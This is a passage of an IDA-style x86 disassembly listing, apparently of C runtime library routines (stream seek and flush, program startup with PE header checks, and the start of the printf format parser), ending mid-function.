		jns	short loc_4147DB
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		xor	ecx, 80000000h
		add	ecx, 7FFFFFFFh
		adc	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		adc	edx, 0
		jmp	short locret_414807
; ---------------------------------------------------------------------------


loc_4147DB:				; CODE XREF: sub_414794+27j
		fstp	[esp+20h+var_20]
		mov	ecx, [esp+20h+var_20]
		add	ecx, 7FFFFFFFh
		sbb	eax, 0
		mov	edx, dword ptr [esp+20h+var_10+4]
		sbb	edx, 0
		jmp	short locret_414807
; ---------------------------------------------------------------------------


loc_4147F3:				; CODE XREF: sub_414794+21j
		mov	edx, dword ptr [esp+20h+var_10+4]
		test	edx, 7FFFFFFFh
		jnz	short loc_4147B7
		fstp	[esp+20h+var_8]
		fstp	[esp+20h+var_8]

locret_414807:				; CODE XREF: sub_414794+45j
					; sub_414794+5Dj
		leave
		retn
sub_414794	endp


; =============== S U B	R O U T	I N E =======================================



sub_414809	proc near		; CODE XREF: sub_414898+22p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		push	edi
		jz	short loc_414887
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_414828
		cmp	edi, 1
		jz	short loc_414828
		cmp	edi, 2
		jnz	short loc_414887


loc_414828:				; CODE XREF: sub_414809+13j
					; sub_414809+18j
		and	eax, 0FFFFFFEFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_414840
		push	esi
		call	sub_419CE8
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_414840:				; CODE XREF: sub_414809+28j
		push	esi
		call	sub_41644D
		mov	eax, [esi+0Ch]
		test	al, al
		pop	ecx
		jns	short loc_414856
		and	eax, 0FFFFFFFCh
		mov	[esi+0Ch], eax
		jmp	short loc_41486A
; ---------------------------------------------------------------------------


loc_414856:				; CODE XREF: sub_414809+43j
		test	al, 1
		jz	short loc_41486A
		test	al, 8
		jz	short loc_41486A
		test	ah, 4
		jnz	short loc_41486A
		mov	dword ptr [esi+18h], 200h


loc_41486A:				; CODE XREF: sub_414809+4Bj
					; sub_414809+4Fj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_419C3D
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_414895
; ---------------------------------------------------------------------------


loc_414887:				; CODE XREF: sub_414809+Bj
					; sub_414809+1Dj
		call	sub_417C70
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh


loc_414895:				; CODE XREF: sub_414809+7Cj
		pop	edi
		pop	esi
		retn
sub_414809	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414898	proc near		; CODE XREF: sub_410A22+2C6p
					; sub_410A22+402p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset stru_4277E0
		call	__SEH_prolog
		push	[ebp+arg_0]
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414809
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4148D7
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_414898	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148D7	proc near		; CODE XREF: sub_414898+31p
					; DATA XREF: .rdata:stru_4277E0o
		push	dword ptr [ebp+8]
		call	sub_4166C5
		pop	ecx
		retn
sub_4148D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148E1	proc near		; CODE XREF: .text:00414A29p
					; .text:00414A4Fp ...

arg_0		= dword	ptr  4

		cmp	dword_479EA8, 1
		jnz	short loc_4148EF
		call	sub_419FC1


loc_4148EF:				; CODE XREF: sub_4148E1+7j
		push	[esp+arg_0]
		call	sub_419E4A
		push	0FFh
		call	off_42C740
		pop	ecx
		pop	ecx
		retn
sub_4148E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_414906	proc near		; CODE XREF: .text:004149FFp
					; .text:00414A10p

arg_0		= dword	ptr  4

		cmp	dword_479EA8, 1
		jnz	short loc_414914
		call	sub_419FC1


loc_414914:				; CODE XREF: sub_414906+7j
		push	[esp+arg_0]
		call	sub_419E4A
		push	0FFh
		call	sub_4143B9
		pop	ecx
		pop	ecx
		retn
sub_414906	endp

; ---------------------------------------------------------------------------
		push	60h
		push	offset stru_4277F0
		call	__SEH_prolog
		mov	edi, 94h
		mov	eax, edi
		call	sub_412DD0
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[esi], edi
		push	esi
		call	ds:dword_41F0F8
		mov	ecx, [esi+10h]
		mov	dword_479E5C, ecx
		mov	eax, [esi+4]
		mov	dword_479E68, eax
		mov	edx, [esi+8]
		mov	dword_479E6C, edx
		mov	esi, [esi+0Ch]
		and	esi, 7FFFh
		mov	dword_479E60, esi
		cmp	ecx, 2
		jz	short loc_41498A
		or	esi, 8000h
		mov	dword_479E60, esi


loc_41498A:				; CODE XREF: .text:0041497Cj
		shl	eax, 8
		add	eax, edx
		mov	dword_479E64, eax
		xor	esi, esi
		push	esi
		mov	edi, ds:dword_41F078
		call	edi
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_4149C5
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		cmp	dword ptr [ecx], 4550h
		jnz	short loc_4149C5
		movzx	eax, word ptr [ecx+18h]
		cmp	eax, 10Bh
		jz	short loc_4149DD
		cmp	eax, 20Bh
		jz	short loc_4149CA


loc_4149C5:				; CODE XREF: .text:004149A4j
					; .text:004149B1j ...
		mov	[ebp-1Ch], esi
		jmp	short loc_4149F1
; ---------------------------------------------------------------------------


loc_4149CA:				; CODE XREF: .text:004149C3j
		cmp	dword ptr [ecx+84h], 0Eh
		jbe	short loc_4149C5
		xor	eax, eax
		cmp	[ecx+0F8h], esi
		jmp	short loc_4149EB
; ---------------------------------------------------------------------------


loc_4149DD:				; CODE XREF: .text:004149BCj
		cmp	dword ptr [ecx+74h], 0Eh
		jbe	short loc_4149C5
		xor	eax, eax
		cmp	[ecx+0E8h], esi


loc_4149EB:				; CODE XREF: .text:004149DBj
		setnz	al
		mov	[ebp-1Ch], eax


loc_4149F1:				; CODE XREF: .text:004149C8j
		push	1
		call	sub_41677E
		pop	ecx
		test	eax, eax
		jnz	short loc_414A05
		push	1Ch
		call	sub_414906
		pop	ecx


loc_414A05:				; CODE XREF: .text:004149FBj
		call	sub_4154C7
		test	eax, eax
		jnz	short loc_414A16
		push	10h
		call	sub_414906
		pop	ecx


loc_414A16:				; CODE XREF: .text:00414A0Cj
		call	sub_419750
		mov	[ebp-4], esi
		call	sub_41A5BE
		test	eax, eax
		jge	short loc_414A2F
		push	1Bh
		call	sub_4148E1
		pop	ecx


loc_414A2F:				; CODE XREF: .text:00414A25j
		call	ds:dword_41F14C
		mov	dword_47B664, eax
		call	sub_41A49C
		mov	dword_479EA0, eax
		call	sub_41A3FA
		test	eax, eax
		jge	short loc_414A55
		push	8
		call	sub_4148E1
		pop	ecx


loc_414A55:				; CODE XREF: .text:00414A4Bj
		call	sub_41A1C7
		test	eax, eax
		jge	short loc_414A66
		push	9
		call	sub_4148E1
		pop	ecx


loc_414A66:				; CODE XREF: .text:00414A5Cj
		call	sub_4143FB
		mov	[ebp-20h], eax
		cmp	eax, esi
		jz	short loc_414A79
		push	eax
		call	sub_4148E1
		pop	ecx


loc_414A79:				; CODE XREF: .text:00414A70j
		mov	[ebp-38h], esi
		lea	eax, [ebp-64h]
		push	eax
		call	ds:dword_41F148
		call	sub_41A15E
		mov	[ebp-68h], eax
		test	byte ptr [ebp-38h], 1
		jz	short loc_414A9A
		movzx	eax, word ptr [ebp-34h]
		jmp	short loc_414A9D
; ---------------------------------------------------------------------------


loc_414A9A:				; CODE XREF: .text:00414A92j
		push	0Ah
		pop	eax


loc_414A9D:				; CODE XREF: .text:00414A98j
		push	eax
		push	dword ptr [ebp-68h]
		push	esi
		push	esi
		call	edi
		push	eax
		call	sub_40D1EF
		mov	edi, eax
		mov	[ebp-6Ch], edi
		cmp	[ebp-1Ch], esi
		jnz	short loc_414ABB
		push	edi
		call	sub_414533


loc_414ABB:				; CODE XREF: .text:00414AB3j
		call	sub_414555
		jmp	short loc_414AED
; ---------------------------------------------------------------------------


loc_414AC2:				; DATA XREF: .rdata:stru_4277F0o
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-70h], ecx
		push	eax
		push	ecx
		call	sub_419FFA
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_414AD6:				; DATA XREF: .rdata:stru_4277F0o
		mov	esp, [ebp-18h]
		mov	edi, [ebp-70h]
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_414AE8
		push	edi
		call	sub_414544


loc_414AE8:				; CODE XREF: .text:00414AE0j
		call	sub_414564


loc_414AED:				; CODE XREF: .text:00414AC0j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, edi
		lea	esp, [ebp-7Ch]
		call	__SEH_epilog
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414AFC	proc near		; CODE XREF: sub_412BB5+4Bp
					; sub_412E0D+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 82h
		mov	ebx, [esi+10h]
		jz	loc_414C08
		test	al, 40h
		jnz	loc_414C08
		test	al, 1
		jz	short loc_414B35
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_414C08
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_414B35:				; CODE XREF: sub_414AFC+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_414B71
		cmp	esi, offset dword_42C920
		jz	short loc_414B5F
		cmp	esi, offset dword_42C940
		jnz	short loc_414B6A


loc_414B5F:				; CODE XREF: sub_414AFC+59j
		push	ebx
		call	sub_41AA50
		test	eax, eax
		pop	ecx
		jnz	short loc_414B71


loc_414B6A:				; CODE XREF: sub_414AFC+61j
		push	esi
		call	sub_41AA0C
		pop	ecx


loc_414B71:				; CODE XREF: sub_414AFC+51j
					; sub_414AFC+6Cj
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_414BDE
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_414B9E
		push	edi
		push	eax
		push	ebx
		call	sub_41A961
		mov	[ebp+arg_4], eax
		jmp	short loc_414BD1
; ---------------------------------------------------------------------------


loc_414B9E:				; CODE XREF: sub_414AFC+93j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_414BBC
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_414BC1
; ---------------------------------------------------------------------------


loc_414BBC:				; CODE XREF: sub_414AFC+A5j
		mov	eax, offset dword_42D068


loc_414BC1:				; CODE XREF: sub_414AFC+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_414BD4
		push	2
		push	0
		push	ebx
		call	sub_419C3D


loc_414BD1:				; CODE XREF: sub_414AFC+A0j
		add	esp, 0Ch


loc_414BD4:				; CODE XREF: sub_414AFC+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_414BF2
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: sub_414AFC+7Cj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_41A961
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_414BF2:				; CODE XREF: sub_414AFC+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_414BFE
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_414C0E
; ---------------------------------------------------------------------------


loc_414BFE:				; CODE XREF: sub_414AFC+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_414C11
; ---------------------------------------------------------------------------


loc_414C08:				; CODE XREF: sub_414AFC+10j
					; sub_414AFC+18j ...
		or	eax, 20h
		mov	[esi+0Ch], eax


loc_414C0E:				; CODE XREF: sub_414AFC+100j
		or	eax, 0FFFFFFFFh


loc_414C11:				; CODE XREF: sub_414AFC+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414AFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C15	proc near		; CODE XREF: sub_414C48+11p
					; sub_414C6C+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_414C21
		cmp	dword ptr [ecx+8], 0
		jz	short loc_414C45


loc_414C21:				; CODE XREF: sub_414C15+4j
		dec	dword ptr [ecx+4]
		js	short loc_414C31
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_414C3D
; ---------------------------------------------------------------------------


loc_414C31:				; CODE XREF: sub_414C15+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_414AFC
		pop	ecx
		pop	ecx


loc_414C3D:				; CODE XREF: sub_414C15+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414C45
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------


loc_414C45:				; CODE XREF: sub_414C15+Aj
					; sub_414C15+2Bj
		inc	dword ptr [esi]
		retn
sub_414C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C48	proc near		; CODE XREF: sub_414CA3+6A2p
					; sub_414CA3+6CDp ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_414C63
; ---------------------------------------------------------------------------


loc_414C50:				; CODE XREF: sub_414C48+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_414C15
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_414C69


loc_414C63:				; CODE XREF: sub_414C48+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_414C50


loc_414C69:				; CODE XREF: sub_414C48+19j
		pop	esi
		pop	ebp
		retn
sub_414C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C6C	proc near		; CODE XREF: sub_414CA3+6B6p
					; sub_414CA3+70Ep ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_414C99
		cmp	dword ptr [edi+8], 0
		jnz	short loc_414C99
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_414CA0
; ---------------------------------------------------------------------------


loc_414C86:				; CODE XREF: sub_414C6C+32j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_414C15
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_414CA0


loc_414C99:				; CODE XREF: sub_414C6C+Aj
					; sub_414C6C+10j
		cmp	[esp+8+arg_0], 0
		jg	short loc_414C86


loc_414CA0:				; CODE XREF: sub_414C6C+18j
					; sub_414C6C+2Bj
		pop	esi
		pop	ebx
		retn
sub_414C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CA3	proc near		; CODE XREF: sub_412BB5+2Ap
					; sub_412E0D+29p ...

var_254		= byte ptr -254h
var_55		= byte ptr -55h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+arg_4]
		mov	bl, [eax]
		xor	ecx, ecx
		test	bl, bl
		jz	loc_415407
		push	esi
		push	edi
		mov	edi, eax
		jmp	short loc_414CDB
; ---------------------------------------------------------------------------


loc_414CD8:				; CODE XREF: sub_414CA3+75Cj
		mov	ecx, [ebp+var_38]


loc_414CDB:				; CODE XREF: sub_414CA3+33j
		inc	edi
		cmp	[ebp+var_18], 0
		mov	[ebp+arg_4], edi
		jl	loc_415405
		cmp	bl, 20h
		jl	short loc_414D02
		cmp	bl, 78h
		jg	short loc_414D02
		movsx	eax, bl
		movsx	eax, byte ptr ds:stru_4277E0._unk[eax]
		and	eax, 0Fh
		jmp	short loc_414D04
; ---------------------------------------------------------------------------


loc_414D02:				; CODE XREF: sub_414CA3+49j
					; sub_414CA3+4Ej
		xor	eax, eax


loc_414D04:				; CODE XREF: sub_414CA3+5Dj
		movsx	eax, ds:byte_427800[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+var_38], eax
		ja	loc_4153F8	; default
		jmp	ds:off_415418[eax*4] ; switch jump


loc_414D24:				; DATA XREF: .text:off_415418o
		xor	eax, eax	; jumptable 00414D1D case 1
		or	[ebp+var_C], 0FFFFFFFFh
		mov	[ebp+var_3C], eax
		mov	[ebp+var_34], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_28], eax
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D41:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		movsx	eax, bl		; jumptable 00414D1D case 2
		sub	eax, 20h
		jz	short loc_414D84
		sub	eax, 3
		jz	short loc_414D7B
		sub	eax, 8
		jz	short loc_414D72
		dec	eax
		dec	eax
		jz	short loc_414D69
		sub	eax, 3
		jnz	loc_4153F8	; default
		or	[ebp+var_8], 8
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D69:				; CODE XREF: sub_414CA3+B2j
		or	[ebp+var_8], 4
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D72:				; CODE XREF: sub_414CA3+AEj
		or	[ebp+var_8], 1
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D7B:				; CODE XREF: sub_414CA3+A9j
		or	byte ptr [ebp+var_8], 80h
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D84:				; CODE XREF: sub_414CA3+A4j
		or	[ebp+var_8], 2
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414D8D:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		cmp	bl, 2Ah		; jumptable 00414D1D case 3
		jnz	short loc_414DB3
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_24], eax
		jge	loc_4153F8	; default
		or	[ebp+var_8], 4
		neg	[ebp+var_24]
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DB3:				; CODE XREF: sub_414CA3+EDj
		mov	eax, [ebp+var_24]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_24], eax
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DC8:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		and	[ebp+var_C], 0	; jumptable 00414D1D case 4
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DD1:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		cmp	bl, 2Ah		; jumptable 00414D1D case 5
		jnz	short loc_414DF4
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		mov	[ebp+var_C], eax
		jge	loc_4153F8	; default
		or	[ebp+var_C], 0FFFFFFFFh
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414DF4:				; CODE XREF: sub_414CA3+131j
		mov	eax, [ebp+var_C]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E09:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		cmp	bl, 49h		; jumptable 00414D1D case 6
		jz	short loc_414E3C
		cmp	bl, 68h
		jz	short loc_414E33
		cmp	bl, 6Ch
		jz	short loc_414E2A
		cmp	bl, 77h
		jnz	loc_4153F8	; default
		or	byte ptr [ebp+var_8+1],	8
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E2A:				; CODE XREF: sub_414CA3+173j
		or	[ebp+var_8], 10h
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E33:				; CODE XREF: sub_414CA3+16Ej
		or	[ebp+var_8], 20h
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E3C:				; CODE XREF: sub_414CA3+169j
		mov	al, [edi]
		cmp	al, 36h
		jnz	short loc_414E56
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_414E56
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_8+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E56:				; CODE XREF: sub_414CA3+19Dj
					; sub_414CA3+1A3j
		cmp	al, 33h
		jnz	short loc_414E6E
		cmp	byte ptr [edi+1], 32h
		jnz	short loc_414E6E
		inc	edi
		inc	edi
		and	byte ptr [ebp+var_8+1],	7Fh
		mov	[ebp+arg_4], edi
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414E6E:				; CODE XREF: sub_414CA3+1B5j
					; sub_414CA3+1BBj
		cmp	al, 64h
		jz	loc_4153F8	; default
		cmp	al, 69h
		jz	loc_4153F8	; default
		cmp	al, 6Fh
		jz	loc_4153F8	; default
		cmp	al, 75h
		jz	loc_4153F8	; default
		cmp	al, 78h
		jz	loc_4153F8	; default
		cmp	al, 58h
		jz	loc_4153F8	; default
		and	[ebp+var_38], 0


loc_414EA2:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		mov	ecx, off_42CE30	; jumptable 00414D1D case 0
		and	[ebp+var_28], 0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_414EC9
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_414C15
		mov	bl, [edi]
		inc	edi
		mov	[ebp+arg_4], edi


loc_414EC9:				; CODE XREF: sub_414CA3+211j
		mov	ecx, [ebp+arg_0]
		lea	esi, [ebp+var_18]
		mov	al, bl
		call	sub_414C15
		jmp	loc_4153F8	; default
; ---------------------------------------------------------------------------


loc_414EDB:				; CODE XREF: sub_414CA3+7Aj
					; DATA XREF: .text:off_415418o
		movsx	eax, bl		; jumptable 00414D1D case 7
		cmp	eax, 67h
		jg	loc_41512D
		cmp	eax, 65h
		jge	loc_414F70
		cmp	eax, 58h
		jg	loc_414FD1
		jz	loc_4151AE
		sub	eax, 43h
		jz	loc_414F93
		dec	eax
		dec	eax
		jz	short loc_414F66
		dec	eax
		dec	eax
		jz	short loc_414F66
		sub	eax, 0Ch
		jnz	loc_4152F6
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_414F25
		or	byte ptr [ebp+var_8+1],	8


loc_414F25:				; CODE XREF: sub_414CA3+27Cj
					; sub_414CA3+4A9j
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_414F32
		mov	ecx, 7FFFFFFFh


loc_414F32:				; CODE XREF: sub_414CA3+288j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		mov	[ebp+var_10], eax
		jz	loc_415183
		test	eax, eax
		jnz	short loc_414F57
		mov	eax, off_42C74C
		mov	[ebp+var_10], eax


loc_414F57:				; CODE XREF: sub_414CA3+2AAj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_28], 1
		jmp	loc_415175
; ---------------------------------------------------------------------------


loc_414F66:				; CODE XREF: sub_414CA3+267j
					; sub_414CA3+26Bj
		mov	[ebp+var_3C], 1
		add	bl, 20h


loc_414F70:				; CODE XREF: sub_414CA3+247j
		or	[ebp+var_8], 40h
		cmp	[ebp+var_C], 0
		lea	esi, [ebp+var_254]
		mov	[ebp+var_10], esi
		jge	loc_415077
		mov	[ebp+var_C], 6
		jmp	loc_4150BE
; ---------------------------------------------------------------------------


loc_414F93:				; CODE XREF: sub_414CA3+25Fj
		test	word ptr [ebp+var_8], 830h
		jnz	short loc_414F9F
		or	byte ptr [ebp+var_8+1],	8


loc_414F9F:				; CODE XREF: sub_414CA3+2F6j
					; sub_414CA3+336j
		add	[ebp+arg_8], 4
		test	word ptr [ebp+var_8], 810h
		mov	eax, [ebp+arg_8]
		jz	short loc_415010
		movsx	eax, word ptr [eax-4]
		push	eax
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41AADA
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		jge	short loc_415020
		mov	[ebp+var_34], 1
		jmp	short loc_415020
; ---------------------------------------------------------------------------


loc_414FD1:				; CODE XREF: sub_414CA3+250j
		sub	eax, 5Ah
		jz	short loc_41502E
		sub	eax, 9
		jz	short loc_414F9F
		dec	eax
		jnz	loc_4152F6


loc_414FE2:				; CODE XREF: sub_414CA3+48Dj
		or	[ebp+var_8], 40h


loc_414FE6:				; CODE XREF: sub_414CA3+4B1j
		mov	[ebp+var_14], 0Ah


loc_414FED:				; CODE XREF: sub_414CA3+519j
					; sub_414CA3+532j ...
		mov	ebx, [ebp+var_8]
		mov	esi, 8000h
		test	ebx, esi
		jz	loc_41521E
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	ecx, 8
		mov	[ebp+arg_8], ecx
		jmp	loc_415246
; ---------------------------------------------------------------------------


loc_415010:				; CODE XREF: sub_414CA3+309j
		mov	al, [eax-4]
		mov	[ebp+var_254], al
		mov	[ebp+var_14], 1


loc_415020:				; CODE XREF: sub_414CA3+323j
					; sub_414CA3+32Cj
		lea	eax, [ebp+var_254]
		mov	[ebp+var_10], eax
		jmp	loc_4152F6
; ---------------------------------------------------------------------------


loc_41502E:				; CODE XREF: sub_414CA3+331j
		add	[ebp+arg_8], 4
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		test	eax, eax
		jz	short loc_415069
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_415069
		test	byte ptr [ebp+var_8+1],	8
		movsx	eax, word ptr [eax]
		mov	[ebp+var_10], ecx
		jz	short loc_415060
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_28], 1
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_415060:				; CODE XREF: sub_414CA3+3AAj
		and	[ebp+var_28], 0
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_415069:				; CODE XREF: sub_414CA3+397j
					; sub_414CA3+39Ej
		mov	eax, off_42C748
		mov	[ebp+var_10], eax
		push	eax
		jmp	loc_415122
; ---------------------------------------------------------------------------


loc_415077:				; CODE XREF: sub_414CA3+2DEj
		jnz	short loc_415087
		cmp	bl, 67h
		jnz	short loc_4150BE
		mov	[ebp+var_C], 1
		jmp	short loc_4150BE
; ---------------------------------------------------------------------------


loc_415087:				; CODE XREF: sub_414CA3:loc_415077j
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_415094
		mov	[ebp+var_C], eax


loc_415094:				; CODE XREF: sub_414CA3+3ECj
		mov	edi, 0A3h
		cmp	[ebp+var_C], edi
		jle	short loc_4150BE
		mov	eax, [ebp+var_C]
		add	eax, 15Dh
		push	eax
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	[ebp+var_2C], eax
		jz	short loc_4150BB
		mov	[ebp+var_10], eax
		mov	esi, eax
